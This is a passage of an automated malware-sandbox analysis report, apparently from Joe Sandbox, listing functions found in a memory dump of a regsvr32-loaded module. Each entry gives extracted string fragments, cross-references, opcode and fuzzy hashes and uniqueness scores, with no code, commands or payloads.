Download Yara Rule

Strings

u., xrefs: 000000018000655E
L, xrefs: 000000018000677D

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: L$u.
API String ID: 0-1908859981
Opcode ID: 963c97d349dba17e05ff2ad4f8c091e323bd32606f741df39a0923b695cd3283
Instruction ID: fe013bb6a98280fd3664de29af0d6deafe853b8c6d857857911529a75c261ac8
Opcode Fuzzy Hash: 963c97d349dba17e05ff2ad4f8c091e323bd32606f741df39a0923b695cd3283
Instruction Fuzzy Hash: FDE1167152478DABDF98CF28C8C6ADD3BA1FB48394F906229FD0287260D775D985CB81

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000968C Relevance: 2.8, Strings: 2, Instructions: 290COMMON

Download Yara Rule

Strings

|8W, xrefs: 000000018000999A
v^, xrefs: 00000001800096A3

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: v^$|8W
API String ID: 0-4274756280
Opcode ID: e8f720407405c8f842976055ebfe5a961945bc41caeca3a3e9e3a1284d36038d
Instruction ID: eb46043f5dfd862e599a3e1f0545fc92660674d3eece30cf186a2abccef00301
Opcode Fuzzy Hash: e8f720407405c8f842976055ebfe5a961945bc41caeca3a3e9e3a1284d36038d
Instruction Fuzzy Hash: 23D11171A0630CCBDB68DF68C58AA9D7BE1FF59348F104129FC1A9B261C770E919CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001E88 Relevance: 2.8, Strings: 2, Instructions: 261COMMON

Download Yara Rule

Strings

u5\, xrefs: 0000000180001FE0
`:, xrefs: 000000018000222C

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: `:$u5\
API String ID: 0-1141760586
Opcode ID: de639cec483ce4a43014a1f68f5d3fafad908dcfa8fcc167b954aac45c8ab292
Instruction ID: 309421123f437f89acc2771e6a55141bc20ba277e2d56715f434ec53ca724750
Opcode Fuzzy Hash: de639cec483ce4a43014a1f68f5d3fafad908dcfa8fcc167b954aac45c8ab292
Instruction Fuzzy Hash: 69C1207150574DCBDB99CF28C58A6D93BE5FF98348F104129FC0E862A1CBB4EA18CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180022AAC Relevance: 2.8, Strings: 2, Instructions: 250COMMON

Download Yara Rule

Strings

0Au, xrefs: 0000000180022F34
]6, xrefs: 0000000180022FF9

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 0Au$]6
API String ID: 0-775207805
Opcode ID: 41d6d67fb4784ff97a0c8e7ec9a302166e0b0c9de4538925550087b6d031b924
Instruction ID: 6edab2825e6f92fa7d6d5649e6783b0aef41eda7633721283519dacdcc01bd9d
Opcode Fuzzy Hash: 41d6d67fb4784ff97a0c8e7ec9a302166e0b0c9de4538925550087b6d031b924
Instruction Fuzzy Hash: 2DE1D7706047889FCBBEDF24CC897DA7BA8FB46704F904619E9C98E250DB745748CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180026B98 Relevance: 2.7, Strings: 2, Instructions: 225COMMON

Download Yara Rule

Strings

qrd, xrefs: 0000000180026C88
S9, xrefs: 0000000180026D05

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: S9$qrd
API String ID: 0-2332744662
Opcode ID: dccb7ee8ec7dfb8e0809544b932b2caf2d93c57dd19aa3a9b169f23ded853006
Instruction ID: d3a666ff84b181fad27f9c2352a1e83f1b6bb5c561d3220c9e7978bd2dadc88f
Opcode Fuzzy Hash: dccb7ee8ec7dfb8e0809544b932b2caf2d93c57dd19aa3a9b169f23ded853006
Instruction Fuzzy Hash: 6EB1357590660CCFCB69DFA4C08A6DDBBF1EF68344F104519E812AB262CBB0D919CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180023C14 Relevance: 2.7, Strings: 2, Instructions: 204COMMON

Download Yara Rule

Strings

hw}2, xrefs: 0000000180023DCB
4&t, xrefs: 0000000180023F04

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: hw}2$4&t
API String ID: 0-1169878757
Opcode ID: 858c4deae444743a57c26792a91effe053d1d8b489a12bfa541918911fc2fcd6
Instruction ID: fd20564dcf1a671b287a6600624e9fb92dead2187b8d5629211a6de17e7e6b55
Opcode Fuzzy Hash: 858c4deae444743a57c26792a91effe053d1d8b489a12bfa541918911fc2fcd6
Instruction Fuzzy Hash: AEB168B590420CCFDB68CF78C45A5DD7BF1FB08308F60612AE826AA262D774D919CF54

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001EBA0 Relevance: 2.7, Strings: 2, Instructions: 192COMMON

Download Yara Rule

Strings

JMWd, xrefs: 000000018001EF78
a[, xrefs: 000000018001EECA

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: JMWd$a[
API String ID: 0-3276560754
Opcode ID: 94f2740beabb4555a63fe109c076897c128458c56f4cbcfe5625600f94c775f6
Instruction ID: 3b54873520b9a846c0abc3e4022efff23af49e59c185cad729b6d512d224c3a2
Opcode Fuzzy Hash: 94f2740beabb4555a63fe109c076897c128458c56f4cbcfe5625600f94c775f6
Instruction Fuzzy Hash: D5A106706047889FDBBACF18CC857DE3BA8FB46748F504229E8CA8E254CB745749CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015494 Relevance: 2.7, Strings: 2, Instructions: 172COMMON

Download Yara Rule

Strings

%[, xrefs: 00000001800156E0
-, xrefs: 000000018001574A

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %[$-
API String ID: 0-2535708364
Opcode ID: 65f60e6b5a076c6be367ab0f8efb072c07a091d19f07b8aff3e0ecb4ccd985c8
Instruction ID: a7604732bdc10a899b7b050bfde45695c0722dd065d5eed74db0117fa162c574
Opcode Fuzzy Hash: 65f60e6b5a076c6be367ab0f8efb072c07a091d19f07b8aff3e0ecb4ccd985c8
Instruction Fuzzy Hash: 1F81627050074ECBDB99DF14C88A7DE3BA0FB28389F114219FC85962A0D778C699CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000DB4C Relevance: 2.7, Strings: 2, Instructions: 169COMMON

Download Yara Rule

Strings

/Mr, xrefs: 000000018000DD1E
i:O:, xrefs: 000000018000DE23

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: /Mr$i:O:
API String ID: 0-3426536595
Opcode ID: 8fba9de9c6c3b1e5047e1d7641fef574ac2ea6f46defdcfa8fbb4029ea408963
Instruction ID: 3eba081f804be6fa3a9d4fb4db8c82f5607d3411af965209965460f3089a80c7
Opcode Fuzzy Hash: 8fba9de9c6c3b1e5047e1d7641fef574ac2ea6f46defdcfa8fbb4029ea408963
Instruction Fuzzy Hash: 7C91087050438C8FDBBADF24C8AA7DE7BA1FB5A304F50461EEA4E8E250DB749644CB41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017E2C Relevance: 2.7, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

6|4, xrefs: 0000000180017EA9
;|-, xrefs: 0000000180017FAB

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 6|4$;|-
API String ID: 0-2897245347
Opcode ID: 35605434c5429477d06d2e5b9b1bfa34856c77736f87f3e727847c01dfef7208
Instruction ID: 839a7c11e172a9a14e1c367a044feafa9aab422ef7ede3a919e78660e0b6ca0a
Opcode Fuzzy Hash: 35605434c5429477d06d2e5b9b1bfa34856c77736f87f3e727847c01dfef7208
Instruction Fuzzy Hash: C0714B7090474D8FCF88DFA4C8866EEBBF0FB48308F114619E88AA7251D7789645CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000F328 Relevance: 2.7, Strings: 2, Instructions: 153COMMON

Download Yara Rule

Strings

U, xrefs: 000000018000F44E
U#, xrefs: 000000018000F446

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: U$U#
API String ID: 0-861755185
Opcode ID: 2086c1731bcfc2cec1958e1d1a3f8cb927817e2dd584414818c7a6dfab91bab1
Instruction ID: 3d07f47d2f6b9c27b0e4fe7d5859b29f381f1ada24735b7dc646a2f801c86eef
Opcode Fuzzy Hash: 2086c1731bcfc2cec1958e1d1a3f8cb927817e2dd584414818c7a6dfab91bab1
Instruction Fuzzy Hash: 0C515C7150C7449FC7A8DF18D4C67AAB7E0FB88310F90991DF8CAC7251EB70A9598B82

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180007EB4 Relevance: 2.7, Strings: 2, Instructions: 152COMMON

Download Yara Rule

Strings

Pr, xrefs: 0000000180007FC1
fK, xrefs: 0000000180007F95

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: fK$Pr
API String ID: 0-2696692655
Opcode ID: 9489b844c734f0d344b598ec7bcb8736a735df1c6bae6eaa62d1b735c6b442f4
Instruction ID: dfe3628fe45c31a405763d5fff7ed8f4d77ec04c4bb6b45016b3f1679df2575b
Opcode Fuzzy Hash: 9489b844c734f0d344b598ec7bcb8736a735df1c6bae6eaa62d1b735c6b442f4
Instruction Fuzzy Hash: 907116B090474E8FDB88CF28C88A6DE7BF0FB18358F515219FC4AA6260D774D598CB85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000DEF4 Relevance: 2.6, Strings: 2, Instructions: 150COMMON

Download Yara Rule

Strings

z+&, xrefs: 000000018000E024
n\, xrefs: 000000018000E000

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: n\$z+&
API String ID: 0-1414119057
Opcode ID: f24be46eeb560fbb290949dbfd7d05873455e782ddfe7ec7ed40b48d6508653b
Instruction ID: eeb2c5940d29436bcd670e7d8a2b521530b450e3042878bcb8e4954d48490cde
Opcode Fuzzy Hash: f24be46eeb560fbb290949dbfd7d05873455e782ddfe7ec7ed40b48d6508653b
Instruction Fuzzy Hash: 22612070A04B0C8BCBA9DF98D48AADDB7F1FB58344F00411DE846A7390DBB8950ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800015C0 Relevance: 2.6, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

., xrefs: 00000001800017B7
50, xrefs: 00000001800016DE

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: .$50
API String ID: 0-2436285167
Opcode ID: 84d2de074a5e6e1a5d921b58512406c284d81fdc35452f42d6b6a069db9f8ad4
Instruction ID: 63debb9af518b5fca5d59737c01840b12b974a655eea7ff458552c4fa6b671e5
Opcode Fuzzy Hash: 84d2de074a5e6e1a5d921b58512406c284d81fdc35452f42d6b6a069db9f8ad4
Instruction Fuzzy Hash: 3671DF705087848FD769CF28C58965ABBF0FBC6344F008A1DF68686260CBB6D949CF03

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180002ADC Relevance: 2.6, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

,{, xrefs: 0000000180002C7D
uC, xrefs: 0000000180002C87

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ,{$uC
API String ID: 0-1099860252
Opcode ID: 2af00e218d12abdb99ef7e76f2ba815a0f7da0c0d962cc97f106519d062cd6fe
Instruction ID: df29777c25f03bc51b29c5e68a382a2b48421fa47568a9dd7f4acde699563025
Opcode Fuzzy Hash: 2af00e218d12abdb99ef7e76f2ba815a0f7da0c0d962cc97f106519d062cd6fe
Instruction Fuzzy Hash: 28612D71A04B0C8FDBA9DF98D08A7DEB7F1FB48344F004119E406E7291DBB8990ADB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004E3C Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

*6TO, xrefs: 0000000180004F9B
"C, xrefs: 0000000180005084

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: "C$*6TO
API String ID: 0-2251823003
Opcode ID: 11a52743e991166c772ae58171141d3b918ce8d4020b5bd660e65aa41626bcf5
Instruction ID: 1108d3b1afe4df31317b10417d35e55e698c36e02fd161062712c06e930ceb12
Opcode Fuzzy Hash: 11a52743e991166c772ae58171141d3b918ce8d4020b5bd660e65aa41626bcf5
Instruction Fuzzy Hash: 598166B550130DCFCB98DF28C58A59D3BA8FB49308F40812AFC1E9A264D3B4E659DB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015264 Relevance: 2.6, Strings: 2, Instructions: 137COMMON

Download Yara Rule

Strings

_ N, xrefs: 00000001800153D5
nkz, xrefs: 000000018001533E

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: _ N$nkz
API String ID: 0-4083044659
Opcode ID: a2e505ed0ed44acca9d37efa5475ae9917bfda84fefcb3a28f95bfb4043916ce
Instruction ID: b07831c94fe2cbd7ac58294498593f0ee6961182af88fd212fccb4805bec53d6
Opcode Fuzzy Hash: a2e505ed0ed44acca9d37efa5475ae9917bfda84fefcb3a28f95bfb4043916ce
Instruction Fuzzy Hash: 39513971D04A1D8BDF99CFA8C5457EEBBB1FB48344F108119E415BB250CBB89A09CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000B834 Relevance: 2.6, Strings: 2, Instructions: 102COMMON

Download Yara Rule

Strings

?, xrefs: 000000018000B945
LiD+, xrefs: 000000018000B96C

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: LiD+$?
API String ID: 0-3739020763
Opcode ID: bc963e11fa834f262c09c021a462739b615030ee8f9d2598156052fa386473db
Instruction ID: 2f7d624153028320349e4a0adb7356b45dc1f3746b227896fac10cb383cb0630
Opcode Fuzzy Hash: bc963e11fa834f262c09c021a462739b615030ee8f9d2598156052fa386473db
Instruction Fuzzy Hash: F35191B590034E8FCB48DF64D48A8DE7FB0FB68398F214619E815A7210D7B496A4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800085BC Relevance: 2.6, Strings: 2, Instructions: 101COMMON

Download Yara Rule

Strings

\o, xrefs: 0000000180008613
%&Iv, xrefs: 00000001800086E6

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: %&Iv$\o
API String ID: 0-2950252169
Opcode ID: e3b847a27b1fdf8219116b43965b4243214bd6bbc489cbb0191219741f6e6deb
Instruction ID: 7d8516b09fccf329ce1ee45da69bc8f76dfc96f1b67d05b04ebb17f55f6537e3
Opcode Fuzzy Hash: e3b847a27b1fdf8219116b43965b4243214bd6bbc489cbb0191219741f6e6deb
Instruction Fuzzy Hash: 7041C2B090074E8FCB48DF28C88A4DE7FB1FB68398F514619EC56A7250D7B496A4CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180009408 Relevance: 2.6, Strings: 2, Instructions: 95COMMON

Download Yara Rule

Strings

P;, xrefs: 00000001800094F1
|<, xrefs: 0000000180009540

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: |<$P;
API String ID: 0-71676942
Opcode ID: d8b30cb9b0bbde5f967eaf6e88493efae150f481542faaeeec2b89fd53c9bf9b
Instruction ID: b926ab4478da67f81816527f76e4a4189747c2b1a61b322854fb240660ec53f5
Opcode Fuzzy Hash: d8b30cb9b0bbde5f967eaf6e88493efae150f481542faaeeec2b89fd53c9bf9b
Instruction Fuzzy Hash: 0F41F4B190078ECFCF48DF68C88A5DE7BB0FB58318F10461DE82AA6250D3B49665CF84

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001A524 Relevance: 2.6, Strings: 2, Instructions: 94COMMON

Download Yara Rule

Strings

< @, xrefs: 000000018001A5D7
#X, xrefs: 000000018001A554

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$< @
API String ID: 0-1734357072
Opcode ID: efe0763d8a7a245e8cb996b606fb90cb3ba626e454cc1a7dd4141ea463f73824
Instruction ID: 53d5526a666e2e4b0aa3df313d94281727ef5dde582db7952040e92a2ea044da
Opcode Fuzzy Hash: efe0763d8a7a245e8cb996b606fb90cb3ba626e454cc1a7dd4141ea463f73824
Instruction Fuzzy Hash: E241C3B090078E8FCF48DF68C95A5DE7BB0FB58348F104A1DEC6AA6250D3B49665CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800234D8 Relevance: 2.6, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

.B, xrefs: 00000001800235C0
X&x, xrefs: 00000001800235CE

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: .B$X&x
API String ID: 0-2125001607
Opcode ID: b56e4be042cf3e20bfd4171d949980e8bdde88a4c8b77932d249eea416ff403a
Instruction ID: 406be0e8b3d674fc45ad7aec45ce8f3a41fae9dcbe4fb503a73b8d88e4a7390b
Opcode Fuzzy Hash: b56e4be042cf3e20bfd4171d949980e8bdde88a4c8b77932d249eea416ff403a
Instruction Fuzzy Hash: F541C3B190034E8BDF48DF68C98A4DE7BB1FB58358F00461DE866AB350D3B89665CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014F50 Relevance: 2.6, Strings: 2, Instructions: 80COMMON

Download Yara Rule

Strings

D-o, xrefs: 0000000180015024
S1, xrefs: 000000018001504E

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: D-o$S1
API String ID: 0-2248371139
Opcode ID: b2af9136cfd81d84eb1aedf16953768fff15e9d6dc77d4de408be5ef0b131a39
Instruction ID: c824313cc5550ea8d08e24e936909b38c1116e4b52b8e35a6cfdfb4e8fb0d5b5
Opcode Fuzzy Hash: b2af9136cfd81d84eb1aedf16953768fff15e9d6dc77d4de408be5ef0b131a39
Instruction Fuzzy Hash: 7F418F7090074E8FCF88CF68C48A5DEBFB0FB28398F144619E856A6250D3B496A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180021588 Relevance: 2.6, Strings: 2, Instructions: 72COMMON

Download Yara Rule

Strings

kNTY, xrefs: 000000018002166D
")v, xrefs: 0000000180021679

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ")v$kNTY
API String ID: 0-925696221
Opcode ID: 2d468f080be7dc4ac37fbc5ab55ab08a385f91380d02a95960c4866fb202e0cd
Instruction ID: 3d1cde25fc61112586e0ccbc864a2b9889115514f3b9559dcc74a8c2fbc402f5
Opcode Fuzzy Hash: 2d468f080be7dc4ac37fbc5ab55ab08a385f91380d02a95960c4866fb202e0cd
Instruction Fuzzy Hash: 49317CB16187858B8348DF28C45641ABBE1FBCD70CF544B2DF4CAAB251D738D6128B4B

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800025B8 Relevance: 2.6, Strings: 2, Instructions: 69COMMON

Download Yara Rule

Strings

O, xrefs: 00000001800025BC
\u, xrefs: 00000001800026CE

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: O$\u
API String ID: 0-3775190597
Opcode ID: 81226de3c00d9588fcdb855554b2562b3d5d50c3db8a2dd8ff0fab91db437570
Instruction ID: b3d17dff366e7d439aca65bd494037a1e9e1cb33d0f26cc5f3c7e2fad645fe6e
Opcode Fuzzy Hash: 81226de3c00d9588fcdb855554b2562b3d5d50c3db8a2dd8ff0fab91db437570
Instruction Fuzzy Hash: 5B31C4B0528781AFC798DF28D09991ABBF1FBC9304F806A1DF98A8B350D774D845CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012044 Relevance: 2.6, Strings: 2, Instructions: 67COMMON

Download Yara Rule

Strings

+N, xrefs: 0000000180012133
:s[, xrefs: 000000018001209B

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: +N$:s[
API String ID: 0-2992701377
Opcode ID: 59945e4bfd5c1812b410bc992af75b99beb9f24da50121ece688e224e72b4b08
Instruction ID: 2af45dfac4c7ae0da7497fa8c295952f08e7f96bebb69c710dc1a077a3b8364b
Opcode Fuzzy Hash: 59945e4bfd5c1812b410bc992af75b99beb9f24da50121ece688e224e72b4b08
Instruction Fuzzy Hash: 443192B5528381ABC388DF28C48A81FBBE1FBC9359F806A1DF8C696261D734D5458B43

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024370 Relevance: 2.6, Strings: 2, Instructions: 64COMMON

Download Yara Rule

Strings

'yN, xrefs: 000000018002441B
k, xrefs: 0000000180024379

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 'yN$k
API String ID: 0-35230329
Opcode ID: 664b9cbffe37651652d085acf9af43cce7b6a19192dfc0ee1d7ff8525738b321
Instruction ID: 07b651401a32326000ca6cd35722393aebb0696fbf8e2d5e5a89f081ef8d3ba1
Opcode Fuzzy Hash: 664b9cbffe37651652d085acf9af43cce7b6a19192dfc0ee1d7ff8525738b321
Instruction Fuzzy Hash: DE318FB191478E8BDB48DF68D8494DF3BF0FB58308F004A29EC6A9A250D7B49664CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800024C0 Relevance: 2.6, Strings: 2, Instructions: 51COMMON

Download Yara Rule

Strings

lt, xrefs: 000000018000254B
]2F, xrefs: 0000000180002531

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ]2F$lt
API String ID: 0-3307743551
Opcode ID: e35954fd64214c4dc75024e05a92e9afc61a62ba820b5d5e41e037a5dcd882da
Instruction ID: b2e8e3d622355c2c7a8d87ad16832996e77f732c72c2020fcd3ed114b96953d1
Opcode Fuzzy Hash: e35954fd64214c4dc75024e05a92e9afc61a62ba820b5d5e41e037a5dcd882da
Instruction Fuzzy Hash: BC218C70528385ABC798CF24C1CA94BBBE1FBD4758F906A0DF8828B264D774D909CB43

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001667C Relevance: 1.5, Strings: 1, Instructions: 274COMMON

Download Yara Rule

Strings

t2i., xrefs: 000000018001687D

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: t2i.
API String ID: 0-2317288456
Opcode ID: ddf1efb97a931d6c5f3ee8c67c3fa2b44aa9af6db9e4e5e1b98fbf81237c32be
Instruction ID: 45fd1b4f7d9ae1bb3a1595fd0447dfa3858b4c22850e921c91e36994c5fa5290
Opcode Fuzzy Hash: ddf1efb97a931d6c5f3ee8c67c3fa2b44aa9af6db9e4e5e1b98fbf81237c32be
Instruction Fuzzy Hash: F4C17C709197489BD7D6DF18C48579EBBE0FB88344F906A1EF486C72A0CB34DA49CB02

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001AEC8 Relevance: 1.5, Strings: 1, Instructions: 261COMMON

Download Yara Rule

Strings

!, xrefs: 000000018001B19C

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !
API String ID: 0-133318149
Opcode ID: 9a28524a62feba04ad602aea3c6b43a9e37f0bb3cb72c69032c5b680e6eaa856
Instruction ID: 4d490125f0736c0523a0bc8c54046deb818a488a36854fcf26dc18eb231edbc7
Opcode Fuzzy Hash: 9a28524a62feba04ad602aea3c6b43a9e37f0bb3cb72c69032c5b680e6eaa856
Instruction Fuzzy Hash: 94C1277090474D8BDF48DF68C88A6EE7BF1FB48358F15821DE84AA7250C7789949CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001980 Relevance: 1.5, Strings: 1, Instructions: 235COMMON

Download Yara Rule

Strings

GP, xrefs: 00000001800019A8

Memory Dump Source

Source File: 00000003.00000002.914603769.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: GP
API String ID: 0-809347306
Opcode ID: c18687982be6c1a2fdabfac97a268a3404b4fe9754ccd0dba6adaab26aa3d97e
Instruction ID: b8cc07b6ee5f07dffcf88ae53723e0b0b514af2364763fc1c4f878c703b2f424
